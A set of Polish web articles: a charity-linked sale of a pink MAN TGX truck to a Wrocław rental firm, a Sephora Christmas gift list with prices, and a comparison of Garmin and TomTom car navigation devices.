Source: Kia XCeed 1.5 T-GDi 7DCT Prestige Line – TEST – wrażenia z jazdy, dane techniczne, opinia

Wściekle różowy MAN TGX z napisem WOMAN na polskich drogach – o co chodzi?

Oto MAN TGX – na drodze widać go z daleka. Wyróżnia się kolorem magenta i pełnym wyposażeniem w akcesoria przydatne każdemu kierowcy. Ten szczególny pojazd od grudnia jeździ w barwach wrocławskiej firmy wynajmującej ciężarówki. Część przychodu ze sprzedaży MAN przekazał na rzecz inicjatywy „Kobiety za Kółko”, która dostarcza pomoc humanitarną do Ukrainy.

Branża transportowa w Europie zmaga się z deficytem kierowców od wielu miesięcy. Dlatego firma MAN Truck & Bus Polska swoim projektem chce zwrócić uwagę właśnie kobiet, pokazując im, że praca kierowcy ciężarówki jest także dla nich.

Przeczytaj też inspirujące historie kobiet, które mają motoryzacyjną pasję.

MAN TGX 18.500 4x2 LLS-U EfficientLine

Część przychodu ze sprzedaży ciągnika MAN TGX została przekazana na cele dobroczynne

To wspaniały akcent na zakończenie bieżącego roku! Ten piękny pojazd pochodzi z oferty pojazdów używanych MAN TopUsed i jest przygotowany na każde transportowe wyzwanie. Jestem przekonany, że przyniesie wiele korzyści naszemu klientowi, a jednocześnie będzie cieszył oczy wszystkich, których spotka na drodze – mówi Claus Wallenstein, prezes zarządu MAN Truck & Bus Polska. 

Pojazd zasilił flotę wrocławskiej firmy WynajemTIR.pl, która zajmuje się wynajmem krótko- i długoterminowym aut ciężarowych dla klientów firm ubezpieczeniowych oraz serwisów na czas naprawy.

Na pewno pojazd zachowa swoją obecną formę wizualną. Jestem przekonany, że przypadnie do gustu nie tylko paniom. W naszej flocie znajduje się już wiele ciągników z oferty MAN TopUsed, ponieważ mam pełne zaufanie do ich jakości i przygotowania od strony technicznej – mówi Krzysztof Wąsik, właściciel WynajemTIR.pl

Część przychodu ze sprzedaży ciągnika MAN TGX firma MAN Truck & Bus Polska przekazała na cele dobroczynne. Kwota 5 tys. euro zasili konto Fundacji Norma z przeznaczeniem na inicjatywę Kobiety za Kółko. Tworzą ją bohaterskie panie, które miesięcznie pokonują tysiące kilometrów, dowożąc pomoc humanitarną na Ukrainę. Inicjatywa przygotowuje również dom pobytu dla uchodźczyń w podwarszawskim Piasecznie.

Fundacja „Kobiety za kółko” na Facebooku.

MAN TGX 18.500 4×2 LLS-U EfficientLine

Ciągnik MAN TGX 18.500 4×2 LLS-U EfficientLine jest  wyposażony m.in. w:

  • pakiet areo,
  • pełną opcję systemów asystujących,
  • nowoczesne oświetlenie,
  • RIO Box,
  • zestaw telewizyjny 21,5”,
  • ekspres do kawy,
  • lusterko kosmetyczne..

MAN TopUsed jest marką pojazdów używanych MAN Truck & Bus. Nowi użytkownicy mogą indywidualnie uzgadniać modyfikacje w pojazdach, które zostaną wprowadzone przez zespół serwisowy.

MAN TGX 18.500 4x2 LLS-U EfficientLine

Ciągnik MAN TGX trafił do wrocławskiej firmy WynajemTIR_PL


Source: Wściekle różowy MAN TGX z napisem WOMAN na polskich drogach – o co chodzi?

Pomysł na prezent last minute od 21 zł – nasze TOP 22 w Sephora. Z cenami!

W przedświątecznym zabieganiu najwygodniej jest wejść do jednego sklepu po prezenty. Takiego, w którym znajdziemy szeroki asortyment podarunków najlepszej jakości w przeróżnych cenach. Mogą to być perfumy, akcesoria do malowania, zestawy makijażowe, czy pielęgnacyjne, a także możliwość zakupu karty podarunkowej o określonej wartości, aby obdarowana osoba mogła samodzielnie wybrać to, co jej aktualnie potrzebne.

Sprawdzamy, jakie zestawy świąteczne i inne ciekawy produkty pod choinkę przygotowała w tym roku marka Sephora. Co Święta to idealny czas na okazanie miłości naszym przyjaciołom i rodzinie. Większość z nas już rozpoczyna kompletowanie upominków, którymi chce wywołać uśmiech na twarzy obdarowanej osoby, okazać troskę, podziękować.

Więcej o tym produkcie i wsparciu dla dziewcząt z domów dziecka i rodzin zastępczych w wejściu na rynek pracy dowiesz się z naszego artykułu tutaj.

Cena 56 złotych

Lampka nocna dla dzieci Sephora Favorites

Lampka nocna dla dzieci Sephora Favorites

Ta bombka to coś więcej, niż zwykła świąteczna dekoracja. W jej wnętrzu kryje się błyszczyk o subtelnej konsystencji i uniwersalnym, brzoskwinioworóżowym odcieniu, który nadaje każdym ustom piękny wygląd. Ten drobny upominek z edycji limitowanej w przystępnej cenie, z pewnością sprawi przyjemność obdarowanej osobie!
Cena: 21 zł

Bombka z błyszczykiem do ust – Wishing You Sephora Collection

Bombka z błyszczykiem do ust – Wishing You Sephora Collection

Limitowana edycja palety zawierająca trzy odcienie z kultowej GOLD PALETTE Natashy. Ta urocza miniatura jest idealna na sezon świąteczny. Dzięki ekskluzywnemu pudełku upominkowym z zawieszką, może być również wykorzystana jako ozdoba. BABY GOLD jest doskonałą paletą, którą można zabrać ze sobą w torebce, aby podkreślić swój świąteczny wygląd.
Cena: 85 zł   

Paleta Natasha Denona Baby Go - Sephora

Poznaj tusz do rzęs Big by definition Sephora Collection w formacie mini w limitowanej edycji świątecznej. Rozdziela rzęsy i nadaje im nowy kształt, dzięki szczoteczce zbudowanej z włókien różnego rozmiaru. Każde włókno szczoteczki dosięga rzęs o różnej długości, dlatego idealnie sprawdza się do rzęs górnych i dolnych. Efekt makijażu: wszystkie rzęsy są uniesione i tworzą wachlarz gęstszy o 135%.
Cena: 35 zł

Więcej o tym rewelacyjnym produkcie pisałyśmy wcześniej tu.

Minitusz do rzęs Big By Definition – Wishing You Sephora Collection

Minitusz do rzęs Big By Definition – Wishing You Sephora Collection

Innowacyjna, ultramatowa i długo utrzymująca się pomadka do ust w intensywnym kolorze. Zachwyci każdego, kto lubi podkreślać swoje usta i bawić się ich kolorem!
Cena: 99 zł

Pomadka do ust Too Faced Melted Matt - Sephora

Pomadka do ust Too Faced Melted Matt – Sephora

Słodka i idealna na prezent, Lip Injection Maximum Plump w wersji świątecznej. Od razu poczujesz i zauważysz efekty! Ta nowoczesna formuła głęboko nawilża i odżywia usta. Po zastosowaniu, stają się wyraźnie podkreślone, intensywnie pełniejsze i to na długo… 
Cena: 79 zł

Pomadka do ust Too Faced - Sephora

Pomadka do ust Too Faced – Sephora

Uszczęśliw tych, którzy docenią chwile relaksu

Ta wzbogacona delikatnym zapachem róży indyjskiej oraz słodkiego olejku migdałowego kolekcja, została stworzona z myślą o przywracaniu harmonii umysłowi, ciału oraz duszy. Zestaw zawiera:

  • luksusową piankę pod prysznic w żelu (200 ml),
  • rewitalizujący peeling do ciała z solą himalajską i mieszanką bogatych olejków (125 g),
  • odżywczy krem do ciała oraz patyczki zapachowe mini (80 ml), które wypełnią dom smakowitym zapachem przez cały dzień.

Cena: 159 zł

Zestaw The Ritual Of Ayurveda od marki RITUALS - Sephora

Zestaw The Ritual Of Ayurveda od marki RITUALS – Sephora

To bestsellerowe rozświetlacze do 4-etapowej pielęgnacji, które dają skórze blask, sprężystość i nawilżenie dzięki witaminie C, kwasowi hialuronowemu i kwasami PHA. W zestawie znajdziesz:

  • Truth Juice Daily Cleanser: żel do demakijażu 2 w 1
  • Banana Bright Vitamin C Serum: serum rozświetlające z 15-procentową zawartością witaminy C, która ujędrnia skórę.
  • C-Rush Brightening Gel: krem do twarzy zapewniający 24-godzinne nawilżenie
  • Banana Bright+ Eye: krem pod oczy wygładza, rozświetla i redukuje zmarszczki.

Cena: 309 zł 

Zestaw pielęgnacyjny z witaminą C – Find Your Glow od OLEHENRIKSEN - Sephora

Pielęgnacja poranna i wieczorna składa się z czterech etapów: od pianki oczyszczającej po krem nawilżający. Zapewnij nawodnienie przez cały dzień dzięki wyjątkowemu niebieskiemu kwasowi hialuronowemu o niskiej masie cząsteczkowej dla lepszego wchłaniania.
Zestaw zawiera:

  • Water Bank Blue Hyaluronic Cleansing Foam 30 ml
  • Water Bank Blue Hyaluronic Revitalizing Toner 30 ml
  • Water Bank Blue Hyaluronic Serum 10 ml
  • Water Bank Blue Hyaluronic Cream Moisturizer 20 ml

Cena: 145 zł 

Zestaw do pielęgnacji twarzy - Happy Water-Full Holidays od LANEIGE - Sephora

Zestaw do pielęgnacji twarzy – Happy Water-Full Holidays od LANEIGE – Sephora

Poznaj wszystkie niezbędne produkty, których potrzebuje skóra. Podaruj je komuś bliskiemu lub sobie! W zestawie znajdują się produkty zawierające ponad 93% składników pochodzenia naturalnego:

  • wygładzający żel oczyszczający 125 ml,
  • superserum rozświetlające 15 ml
  • krem łagodzący 20 ml.

W efekcie ich stosowania skóra jest oczyszczona, nawilżona i rozświetlona.

Cena: 95 zł

Zestaw kosmetyków do pielęgnacji twarzy – Wishing You - Sephora Collection

Zestaw kosmetyków do pielęgnacji twarzy – Wishing You – Sephora Collection

Oryginalny prezent na Boże Narodzenie, aby oderwać się od codzienności i dbać o dłonie przez całą zimę. Wspaniałe trio zestawu prezentowego to:

  • para rękawic odżywiająco-regenerujących z mango, nasączonych masłem z mango i zawierających 92% składników pochodzenia naturalnego.
  • Krem do rąk Monoi z przyjemną konsystencją, który odżywia i nawilża w każdej chwili.
  • Ogrzewacz do wielokrotnego użytku, który zapewnieni dłoniom ciepło. 

Cena: 67 zł  

Zestaw Piękne Dłonie – Wishing You Sephora Collection

Zestaw Piękne Dłonie – Wishing You Sephora Collection

Zachwyć fankę świata makijażu

Szukasz idealnego prezentu związanego z makijażem? Wybierz paletę z cieniami do powiek, obok której trudno przejść obojętnie! Na zakupy albo wieczór z przyjaciółmi – wśród 16 cieni do powiek obdarowana osoba z pewnością znajdzie swoje ulubione. W paletce są naturalne kolory nude, brąz, śliwka i fiolet z wykończeniem matowym, perłowym i metaliczny. Po prostu niezastąpione na czas Świąt.
Cena:109 zł

Paleta 16 cieni do powiek – Wishing You Sephora Collection

Paleta 16 cieni do powiek – Wishing You Sephora Collection

Ukochane bestsellery, z którymi przygotujesz się na świąteczne okazje w uroczym, prezentowym opakowaniu wielokrotnego użytku wraz z naklejkami! Rzęsy EKSTREMALNIE wydłużone, brwi pełne objętości, a cera wygładzona i odświeżona! W zestawie znajdziesz:

  • They’re Real! Magnet, ekstremalnie wydłużający tusz do rzęs w odcieniu czarnym | pełnowymiarowy (9 g)
  • Gimme Brow+, żel do brwi dodający objętości w odcieniu nr 3 | pełnowymiarowy (3 g)
  • The POREfessional Lite, ultralekka baza pod makijaż niwelująca widoczne pory | mini (7,5 ml)

Cena: 199 zł

Zestaw świąteczny Stamp Of Beauty od Benefit - Sephora

Zestaw świąteczny Stamp Of Beauty od Benefit – Sephora

Poczuj świąteczny nastrój dzięki trzem świątecznym paletom do oczu i twarzy, które pachną tak dobrze, jak wyglądają! Zestaw zawiera: paletę do twarzy i oczu Breakaway Sugar Cookie o słodkim zapachu ciasteczek, paletę do twarzy i oczu Breakaway Cookie w wersji korzennej – pachnie jak świąteczny piernik, paletę do twarzy i oczu Breakaway Chocolate Chip Cookie o cudownym zapachu czekolady.
Cena: 215 zł 

Paletka Too Faced Christmas Bake Shoppe - zestaw zawiera: paletę do twarzy i oczu Breakaway Sugar Cookie o słodkim zapachu ciasteczek - Sephora

Paletka Too Faced Christmas Bake Shoppe – zestaw zawiera: paletę do twarzy i oczu Breakaway Sugar Cookie o słodkim zapachu ciasteczek – Sephora

Paletka Too Faced Christmas Bake Shoppe - zestaw zawiera paletę do twarzy i oczu Breakaway Chocolate Chip Cookie o cudownym zapachu czekolady - Sephora

Paletka Too Faced Christmas Bake Shoppe – zestaw zawiera paletę do twarzy i oczu Breakaway Chocolate Chip Cookie o cudownym zapachu czekolady – Sephora

Paletka Too Faced Christmas Bake Shoppe - paletę do twarzy i oczu Breakaway Cookie w wersji korzennej - pachnie jak świąteczny piernik - Sephora

Paletka Too Faced Christmas Bake Shoppe – paletę do twarzy i oczu Breakaway Cookie w wersji korzennej – pachnie jak świąteczny piernik – Sephora

Paletki Too Faced Christmas Bake Shoppe - Sephora

Paletki Too Faced Christmas Bake Shoppe – Sephora

Transparentna, opalizująca formuła, nasycona drobinkami w kolorze żółtego i różowego złota, nadaje cerze świeży, zaróżowiony blask. Zachwyci każdego, kto kocha wyrażać siebie poprzez makijaż.
Unikalna lekka formuła kosmetyku stapia się ze skórą, nie tworząc ciężkiej ani lepkiej warstwy, i nadaje piękny wygląd każdej karnacji. W zestawie znajduje się kompaktowe lusterko, które ułatwia używanie go poza domem!
Cena: 179 zł

Huda Beauty Empowered – rozświetlacz do twarzy - Sephora

Huda Beauty Empowered – rozświetlacz do twarzy – Sephora

Outrageous intense w dwóch ponadczasowych kolorach to pełen pikanterii produkt dla miłośniczek mocnych wrażeń. Dzięki miękkiej żelowej konsystencji z ekstraktem z chili Outrageous Intense powiększa usta, zapewniając jednocześnie komfort stosowania. W efekcie usta są błyskawicznie wygładzone i wyprofilowane, ich kolor naturalnie wzmocniony, a objętość – zwiększona: +27% błyskawiczny efekt objętości do 4 godzin. 
Cena: 105 zł 

Zestaw 2 Pomadek Powiększających Usta – Wishing You Sephora Collection

Zestaw 2 Pomadek Powiększających Usta – Wishing You Sephora Collection

Nie ograniczaj się i wybierz na Boże Narodzenie dużą paletę do makijażu! Znajdziesz w niej 88 kolorów z różnymi efektami (matowy, brokatowy, perłowy) i konsystencjami (puder, krem), aby uzyskać nieskończoność możliwości od naturalnych nude po śmiałe i nieoczywiste.
W zestawie znajdziesz wszystko do wykonania pełnego makijażu:

  • 60 cieni do powiek
  • 16 błyszczyków do ust
  • 3 eyelinery w kremie
  • 3 pudry do brwi
  • 2 pudry słoneczne
  • 2 róże do policzków
  • 2 rozświetlacze

Cena: 169 zł 

Paleta do makijażu 88 kolorów – Wishing You Sephora Collection

Paleta do makijażu 88 kolorów – Wishing You Sephora Collection

Paleta do makijażu 88 kolorów – Wishing You Sephora Collection

Paleta do makijażu 88 kolorów – Wishing You Sephora Collection

Oczaruj wymagających

LOEWE Aire to rodzina zapachów inspirowanych otaczającym nas czystym i świeżym powietrzem – podnoszącym na duchu, elementarnym i życiodajnym. Kwiatowe i delikatne LOEWE Aire Sutileza łączy w sobie nuty gruszki, konwalii i jaśminu. Zapach jest zamknięty w przezroczystym szklanym flakoniku o delikatnym odcieniu zielonych liści.
Cena: 409 zł / 50 ml 

Woda toaletowa Loewe Aire Sutileza - Sephora

Woda toaletowa Loewe Aire Sutileza – Sephora

To zmysłowa i smakowita kompozycja szyprowo-bursztynowa o energii dobrej zabawy unosząca się aż do późnej nocy. Atrakcyjną nutę głowy tworzy intensywna róża połączona z akordami korzennymi różowych jagód i gorzkich migdałów. Serce to przepyszne połączenie likieru z czarnej wiśni z jaśminem wielkolistnym i wetywerią. Bazę tworzą nuty mchu dębowego, wanilii i fasolki tonka, wzmacniając wciągający wymiar nowej kompozycji, od której trudno się uwolnić. 
Cena: 259 zł / 40 ml

Woda Perfumowana I Want Choo Forever od Jimmy Choo - Sephora

Woda Perfumowana I Want Choo Forever od Jimmy Choo – Sephora

Ferragamo Intense Leather wyraża mężczyznę pewnego siebie, kreatywnego i zdeterminowanego. To kreacja zapachowa bazująca na kontrastujących nutach, świetlistych, przyskórnych i zmysłowych. Ikoniczny męski zapach FERRAGAMO teraz dostępny w nowej wersji: nowoczesnej, głębokiej i wyrazistej, we flakonie utrzymanych w wyjątkowej morskiej tonacji granatu.
Cena: 279 zł / 30 ml 

Woda Perfumowana FERRAGAMO Intense Leather Salvatore Ferragamo - Sephora

Woda Perfumowana FERRAGAMO Intense Leather Salvatore Ferragamo – Sephora

Zapach dla niej, który przenosi do idyllicznego lata, pełnego młodzieńczego entuzjazmu i oczekiwania na nadchodzące przygody. Delikatnie zrównoważony, trwały zapach, skrywa zmysłowość, która ukazuje się jedynie po zmierzchu… Once Upon A Garden zaprezentowany został w granatowym flakonie, przypominającym zakazane, nocne eskapady. Różowy koreczek natomiast odzwierciedla delikatność kwiatowego groszku wybrzmiewającą w sercu zapachu. 
Cena: 459 zł / 30 ml

Woda Perfumowana La Perla Once Upon A Garden  - Sephora

Woda Perfumowana La Perla Once Upon A Garden  – Sephora

Otworzyłaś ostatnie okienko kalendarza adwentowego i czujesz, że chciałabyś przedłużyć przyjemność aż do Nowego Roku? Albo chcesz pięknie świętować zakończenie roku? Teraz to możliwe, dzięki pierwszemu w historii Sephora kalendarzowi poświątecznemu!
Kalendarz zawiera:

  • Żel Utrwalający do Brwi Przejrzysty, 24H Brow Setter, BENEFIT – Format podróżny (3,5 ml)
  • Błyszczyk do ust Glossed Vinyl, kolor 06 All Powerful Red, SEPHORA COLLECTION – Format standard (5 ml)
  • Róż w Pudrze Glowish Blush Powder, kolor 02 Caring Coral, HUDA BEAUTY – Format standard (2,5 g)
  • Tusz do rzęs Fullest Volumizing, Czarny, ILIA – Format podróżny (4 ml)
  • Spray Utrwalający Makijaż, Mist & Fix, MAKE UP FOREVER – Format podróżny (30 ml)
  • Pędzel Wielozadaniowy Multi-Textures 06 Teint Vegan, SEPHORA COLLECTION – Format standard
  • Kryjący Korektor do Twarzy, Shape Tape Concealer, kolor 22N Light neutral, TARTE – Format podróżny (1 ml)

Cena: 319 zł 

Kalendarz Poświąteczny Sephora Favorites

Kalendarz Poświąteczny Sephora Favorites

Karta upominkowa Sephora – ideał dla mężczyzny?

Nadal nie wiesz co kupić? Nie przejmuj się. Jeśli nie jesteś pewna (-y) tego, co uszczęśliwi obdarowywaną osobę lub nie znasz dokładnie jej upodobań, wybierz kartę upominkową Sephora! Dzięki niej, każdy sam odkryje bogactwo możliwości w perfumeriach stacjonarnych Sephora lub na sephora.pl. Kartę doładować możesz na dowolną kwotę, już od 50 zł.

Karta Upominkowa Sephora

Karta Upominkowa Sephora

Zachwyć swoich bliskich i dodaj magii wspólnym chwilom! Odwiedź perfumerie Sephora lub sephora.pl i daj się oczarować pełną ofertą prezentów i upominków, którą jedna z ulubionych destynacji prezentowych przygotowała w tym roku i spełniaj marzenia najbliższych

Source: Pomysł na prezent last minute od 21 zł – nasze TOP 22 w Sephora. Z cenami!

Porównanie najpopularniejszych nawigacji samochodowych na rynku

Produkty, na które warto zwrócić uwagę

Rynek akcesoriów samochodowych jest niezwykle szerokim zagadnieniem. Skupia on wokół siebie wiele produktów, które ułatwiają poruszanie się po drogach. Odnosząc się do tematu, jakim są nawigacje samochodowe, musimy zauważyć, że istnieje kilka firm, które dzięki swojej renomie są chętnie wybieranymi rozwiązaniami. Pierwszym przykładem są produkty marki Garmin. Amerykańskie przedsiębiorstwo od wielu lat zajmuje się produkcją różnego rodzaju nawigacji. Spośród szerokiej oferty, godna uwagi jest nawigacja DriveSmart 65 MT-S EU. Dzięki dożywotniej aktualizacji tras kierowcy nie będą musieli martwić się o to, że napotkają problemy z ewentualnymi modyfikacjami dróg. Poza tym, produkt posiada duży, niemal 7-calowy wyświetlacz, komunikaty głosowe czy funkcje ostrzegania przed fotoradarami i wypadkami. Wspomniane rozwiązanie świetnie sprawdzi się zarówno dla kierowców indywidualnych, ale też tych, którzy jeżdżą zawodowo. 

Nawigacje samochodowe, które spełnią wymagania

Alternatywą dla produktów od Garmina są nawigacje samochodowe TOMTOM. Niezwykle popularny jest model GO Expert 7, który dzięki swojej specyfikacji, można zaliczać do grona urządzeń klasy premium. Wspomniana nawigacja posiada 7-calowy wyświetlacz w rozdzielczości HD oraz dożywotnią aktualizację map. Poza tym, produkt jest wyposażony w profile tras dla samochodów ciężarowych i osobowych. Oznacza to, że świetnie sprawdzi się niemal dla każdego. 

Poza wspomnianymi dotychczas propozycjami, opisywani producenci mają w swojej ofercie o wiele więcej godnych uwagi modeli. W przypadku Garmina będą to DriveSmart 55 czy Dezl LGV700. TOMTOM może z kolei pochwalić się alternatywą w postaci Go Classic 5. Poza tym, jeżeli chcemy skorzystać z oferty innego producenta, wówczas mamy do wyboru m.in. nawigacje NAVITEL oraz Modecom.

Akcesoria przydatne podczas korzystania z nawigacji

Korzystając z nawigacji powinniśmy mieć na uwadze to, że często będziemy potrzebowali dodatkowych akcesoriów, które zapewnią nieprzerwaną pracę tych urządzeń. Oczywiście, niemal każdy produkt posiada wbudowaną baterię. Jednak co w momencie, gdy wyruszamy w dalszą podróż? W takich sytuacjach z pewnością przyda się odpowiednia ładowarka do samochodu. Dzięki niej zapewnimy sobie stały dostęp do źródła energii i nie będziemy musieli się martwić o to, że nasz sprzęt rozładuje się w najmniej oczekiwanym momencie. Ponadto, ładowarki samochodowe są urządzeniami dość uniwersalnymi. To oznacza, że możemy je wykorzystać również do ładowania innych sprzętów, takich jak np. smartfony. 

Mając zapewnione stałe źródło energii, dobrze jest jeszcze zadbać o odpowiednie usytuowanie sprzętu. Tutaj z pomocą przychodzą uchwyty na telefon. Podobnie jak ładowarki samochodowe, akcesoria te zapewnią nam komfort użytkowania i przyczynią się do zwiększenia bezpieczeństwa na drodze. Możemy umieścić je w takim miejscu, które nie będzie kolidowało z widocznością, a dodatkowo zapewni nam dostęp do wszystkich funkcji. Dzięki temu będziemy mogli w pełni skupić się na drodze.

Source: Porównanie najpopularniejszych nawigacji samochodowych na rynku